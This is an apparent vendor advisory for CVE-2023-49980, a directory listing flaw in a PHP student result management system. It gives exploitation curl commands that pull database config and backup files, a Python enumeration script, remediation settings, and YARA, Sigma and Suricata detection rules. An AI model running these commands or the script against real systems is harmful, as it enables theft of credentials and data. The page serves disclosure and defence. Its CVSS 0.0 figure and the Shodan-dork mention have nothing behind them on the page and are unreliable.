CVE-2023-49980
Executive Summary
CVE-2023-49980 is a directory listing vulnerability in the Best Student Result Management System v1.0, a PHP-based web application. The flaw allows unauthenticated attackers to enumerate directories and access sensitive files within the application’s web root. This exposure can lead to information disclosure, including configuration files, database credentials, and source code, which may facilitate further attacks. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the risk is real due to the lack of authentication required for exploitation. No official patch exists, and the vendor has not responded to disclosure.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications apply.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Unassigned; likely due to incomplete scoring)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H) – sensitive files exposed
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
- Threat Level: Medium (due to information disclosure risk, though no direct code execution)
Deep Dive & Mechanics
The vulnerability resides in the application’s directory listing feature. When a user accesses a directory path without an index file (e.g., /uploads/, /config/, /backup/), the web server (typically Apache or Nginx) is configured to list the directory contents. This is often due to the Options +Indexes directive in Apache or autoindex on in Nginx. The application does not enforce authentication for these directories, allowing any unauthenticated visitor to browse and download files.
Root Cause: The application’s .htaccess or server configuration does not disable directory listing for sensitive directories. Additionally, no access control is implemented to restrict access to these paths.
Impact: Attackers can:
- List files in directories like
/uploads/,/config/,/backup/,/logs/. - Download configuration files (e.g.,
config.php,database.php) containing database credentials. - Access backup files or SQL dumps.
- Enumerate user-uploaded files (e.g., student photos, reports).
Vulnerable vs. Patched Code
Vulnerable Configuration (Apache .htaccess):
Options +Indexes
This allows directory listing for all directories.
Patched Configuration:
Options -Indexes
Or, to be more restrictive:
<Directory /var/www/html>
Options -Indexes
</Directory>
Additionally, access control should be added:
<Directory /var/www/html/config>
Require all denied
</Directory>
Vulnerable PHP Code (example):
No specific PHP code is vulnerable; the issue is server configuration. However, if the application uses scandir() or readdir() to list files, it should validate user input and restrict access.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target running Best Student Result Management System v1.0 on Apache/Nginx.
- No authentication required for directory access.
Exploitation Steps:
- Identify directories via common paths:
curl -s http://target.com/uploads/ curl -s http://target.com/config/ curl -s http://target.com/backup/ - If directory listing is enabled, parse the HTML output to extract file names.
- Download sensitive files:
curl -O http://target.com/config/database.php curl -O http://target.com/backup/db_backup.sql - Use extracted credentials to access the admin panel or database.
Automated Script (Python):
import requests
import sys
target = sys.argv[1]
dirs = ['uploads', 'config', 'backup', 'logs', 'includes']
for d in dirs:
url = f"{target}/{d}/"
r = requests.get(url)
if r.status_code == 200 and 'Index of' in r.text:
print(f"[+] Directory listing found: {url}")
# Parse links
from bs4 import BeautifulSoup
soup = BeautifulSoup(r.text, 'html.parser')
for link in soup.find_all('a'):
href = link.get('href')
if href and not href.startswith('?'):
print(f" {href}")
Blue Team
Detection:
- Monitor web server logs for requests to directories without index files (e.g.,
GET /uploads/). - Look for patterns like
Index of /in response bodies. - Alert on multiple directory enumeration attempts from a single IP.
Hunting:
- Search for
Options +Indexesin Apache config files. - Check for
autoindex onin Nginx configs. - Review file permissions on sensitive directories.
Lab Setup:
- Install XAMPP or LAMP stack.
- Download Best Student Result Management System v1.0 from SourceForge or similar.
- Place files in web root.
- Ensure Apache has
Options +Indexesenabled (default in some setups). - Test with browser or curl.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests to
/uploads/,/config/,/backup/,/logs/with status 200 and body containingIndex of /. - User-Agent strings typical of automated scanners (e.g.,
python-requests,curl).
- HTTP requests to
- File System:
- Presence of
.htaccessfiles withOptions +Indexes. - Exposed configuration files (e.g.,
database.php,config.php).
- Presence of
- Logs:
- Apache access log entries like:
192.168.1.100 - - [01/Jan/2024:12:00:00 +0000] "GET /uploads/ HTTP/1.1" 200 1234
- Apache access log entries like:
Detection Engineering
YARA Rule
rule CVE_2023_49980_Directory_Listing {
meta:
description = "Detects directory listing responses from Best Student Result Management System"
author = "Valters IT"
date = "2024-01-01"
cve = "CVE-2023-49980"
strings:
$index = "Index of /"
$title = "<title>Index of /"
$h1 = "<h1>Index of /"
condition:
any of them
}
Sigma Rule
title: CVE-2023-49980 Directory Listing Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP responses with directory listing content
author: Valters IT
date: 2024/01/01
logsource:
category: webserver
product: apache
detection:
selection:
response.body|contains: 'Index of /'
condition: selection
falsepositives:
- Legitimate directory listing pages (rare)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-49980 Directory Listing Attempt"; flow:to_server; content:"GET"; http_method; content:"/uploads/"; http_uri; nocase; content:"Index of /"; http_server_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable directory listing in web server configuration:
- Apache: Set
Options -Indexesin.htaccessor virtual host. - Nginx: Set
autoindex off;in server block.
- Apache: Set
- Restrict access to sensitive directories:
<Directory /var/www/html/config> Require all denied </Directory> - Move configuration files outside web root.
- Change default passwords if exposed.
Long-term:
- Upgrade to a patched version if available (none currently).
- Implement web application firewall (WAF) rules to block directory enumeration.
- Conduct regular security audits.
- Consider migrating to a supported alternative.
Valters IT
Securing digital frontiers, one CVE at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.